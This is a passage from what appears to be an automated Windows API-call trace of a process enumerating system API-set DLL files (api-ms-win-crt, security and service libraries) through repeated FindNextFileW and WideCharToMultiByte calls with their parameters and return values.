cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1efc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0260.939] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.939] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1efc288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0260.939] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1efc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0260.939] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x1efc288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0260.939] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1efc120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0260.940] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x1efc288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0260.940] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1efc120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0260.940] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.940] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.940] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.940] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1efc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0260.941] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1efc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0260.941] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x1efc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0260.941] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.941] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x1efc120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0260.941] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1efc288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0260.941] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0260.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1efc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0260.942] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0260.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1efc288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0260.942] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0260.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1efc120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0260.942] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1efc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0261.037] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, 